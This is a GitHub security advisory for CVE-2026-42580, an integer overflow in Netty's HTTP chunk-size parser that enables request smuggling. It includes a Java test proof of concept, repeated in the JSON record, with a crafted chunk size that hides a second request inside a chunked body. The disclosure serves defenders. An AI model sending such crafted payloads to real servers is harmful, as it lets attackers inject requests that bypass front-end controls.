GHSA-M4CV-J2PX-7723

Vulnerability from github – Published: 2026-05-07 00:13 – Updated: 2026-05-14 20:41
VLAI?
Summary
Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing
Details

Summary

Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

Details

io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Severity ?
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:13:05Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n    String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n            \"100000004\\r\\n\" +\n            \"test\\r\\n\" +\n            \"0\\r\\n\" +\n            \"\\r\\n\" +\n            \"GET /smuggled HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Content-Length: 0\\r\\n\" +\n            \"\\r\\n\";\n\n    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n    // Request 1\n    HttpRequest request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    HttpContent content = channel.readInbound();\n    assertTrue(content.decoderResult().isSuccess());\n    assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n    content.release();\n    LastHttpContent last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n\n    // Request 2\n    request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-m4cv-j2px-7723",
  "modified": "2026-05-14T20:41:01Z",
  "published": "2026-05-07T00:13:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}


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